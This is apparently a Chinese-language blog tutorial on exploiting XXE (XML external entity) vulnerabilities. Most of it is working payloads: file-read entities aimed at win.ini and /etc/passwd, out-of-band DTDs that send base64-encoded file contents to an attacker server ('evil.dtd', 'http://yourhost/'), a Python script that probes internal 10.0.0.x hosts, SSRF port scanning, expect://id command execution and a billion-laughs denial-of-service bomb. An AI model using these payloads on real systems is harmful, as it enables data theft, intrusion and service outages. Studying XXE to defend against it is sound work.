【XXE漏洞专题】利用
【XXE漏洞专题】利用
利用:
1、任意文件读取
1.1、原理:
因为外部实体支持伪协议,利用伪协议进行读取
利用XXE漏洞读取目标文件内容,读取/etc/password文件
xml协议不支持命令执行,php协议可以,具体命令执行根据协议功能确定
— — — — — —
1.2有回显:
通过外部实体调用file://函数读取本地文件,或建立DTD文件进行远程调用
(后面要填写当前文件夹与目标文件夹的相对路径)
— — — — — —
读取本地文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">]>
<user>
<password>&file;</password>
</user>(foo相当于自己命名的函数名,没什么实际意义)
— — — — — —
建立DTD文件进行远程调用
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://192.168.1.2/xxe/evil2.dtd" >
%xxe;]>
<foo>&evil;</foo>
其中外部链接的evil.dtd中内容为:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
— — — — — —
1.3、无回显:
XXE有回显就直接利用,反之,就要利用Blind_OOB_XXE,eg:外部DTD文件
建立一个dtd文件,将.dtd文件存在远程服务器(或VPS)上
恶意执行代码被服务器处理,向攻击者远程服务器发送请求,查找恶意的DTD文件
服务器获取该文件并执行其中的恶意命令
(1)构建一条带外信道提取数据
(2)将文件内容发送到远程服务器,然后读取
(3)读取文件,并发送到服务器的上
(1)示例一:
通过创建index.php来构建一条带外信道提取数据
//创建test.php
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
— — — — — —//创建index.php
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
— — — — — —//创建test.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
当访问index.php时,服务器(存在漏洞)会读取text.txt,并发送给攻击者服务器上的test.php,并把读取的数据保存到本地的test.txt中。
(2)示例二:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd">
%remote;%int;%send;
]>
— — — — — —//三个参数实体 %remote;%int;%send
%remote 调用后请求远程服务器上的 test.dtd(相当于包含)
%int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,
将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %)
再调用 %send,数据发送到我们的远程 vps 上
— — — — — —
test.dtd(进行了base64编码)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.18.23?p=%file;'>">查看数据日志文件信息(知道日志存储的位置),第二个请求文件内容包含我们的命令,可以看到base64编码后的数据,也确认了OOB XXE漏洞的存在。
编码也是为了不破坏原本的XML语法,不编码会报错。
(3)示例三:
可以将文件内容发送到远程服务器,然后读取
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);— — — — — —
evil.dtd(远程服务器)
<!ENTITY b SYSTEM "file:///etc/passwd">
(4)示例四:
先使用php://filter获取目标文件的内容
将内容以http请求发送到接收数据的服务器(攻击服务器)
<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
— — — — — —//evil.dtd
(%号要进行实体编码成
%)
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;有报错直接查看报错信息
无报错访问目标服务器的日志信息,经过base64编码过的数据,对其解码
— — — — — —
2、HTTP 内网主机探测
2.1、前提:
存在 XXE 漏洞的服务器
— — — — — —
2.2、读取
先利用 file 协议读取存在XXE漏洞服务器的网络配置文件
eg(Linux): /etc/network/interfaces 或 /proc/net/arp 或者/etc/host 文件
— — — — — —
2.3、示例
(需要基础的python知识,科班应该都没什么问题)
//(调用自己编写的请求和编码模块)
import requests
import base64— — — — — —
//(1)定义创建XML的函数build_xml
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)— — — — — —
//(2)定义发送自定义函数send_xml(数据、编码…)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://110.110.110.110/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] //分开以获取Base64编码值
print coded_string //打印base64编码值
for i in range(1, 255): //循环
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
— — — — — —
3、开放端口扫描
3.1、读取配置文件
通过URL将请求指向/etc/passwd配置文件,并返回文件内容
3.2、发送请求
使用URL强制服务器向指定端口发送GET请求(SSRF服务器端请求伪造)
尝试与端口建立连接,根据响应时间/长度判断端口是否开启
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog> <!--看注(2)-->
<core id="test1"> <!--看注(3)-->
<author>mike</author>
<title>XML</title>
<category>root</category>
<price>30.00</price>
<date>2022-05-01</date>
<description>&xxe;</description>
</core>
</catalog><!--英文看注(1)-->
3.3、注:
(1)英语注释
author作者、title标题、category类别、price价格、date日期、description描述
— — — — — —
(2)XML-Catalog
XML-Catalog 关于 XML 文件如何引用外部资源的控制
XML Catalog 是由来自一个或者多个 catalog 条目文件组成的 xml 文件,其保存了要校验的 xml 文件以及对应的 xsd 文件的映射,运行时自动将它们关联起来,从而实现对 xml 文件的校验
— — — — — —
(3)XML-core
XML-core是一组类,可以更轻松地使用浏览器和节点中的XML。我们希望能够在浏览器中验证Xades,具体所以我们可以验证欧盟信任列表上的签名。
— — — — — —
4、远程代码执行
4.1、前提:
存在XXE漏洞
PHP expect被加载到脆弱的系统或XML处理器上
expect:// — 处理交互式的流,由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。
— — — — — —
4.2、属性:
允许读取 Yes 允许写入 Yes 允许添加 Yes — — — — — —
4.3、示例:
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog> <!--看注(2)-->
<core id="test1"> <!--看注(3)-->
<author>mike</author>
<title>XML</title>
<category>root</category>
<price>30.00</price>
<date>2022-05-01</date>
<description>&xxe;</description>
</core>
</catalog><!--英文看注(1)-->
— — — — — —
5、拒绝服务攻击
5.1、原理:
大多数XML解析器在解析XML文档时会将其保留在内存中,如果构造恶意的XML实体文件,以耗尽服务器的可用内存,造成了拒绝服务器攻击。
— — — — — —
5.2、a billion laughs attack
介绍:
是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。
— — — — — —
原理:通过恶意创建一系列递归的XML定义,在内存中产生上十亿的特定字符串,并被XML解析器保留在内存中,以耗尽服务器可用内存,从而造成拒绝服务攻击。
— — — — — —
在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值
而每个lol8又包含了十个lol7的值
……
最后产生10亿个“lol”字符串,占用内存约高达3GB。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
- 点赞
- 收藏
- 关注作者
评论(0)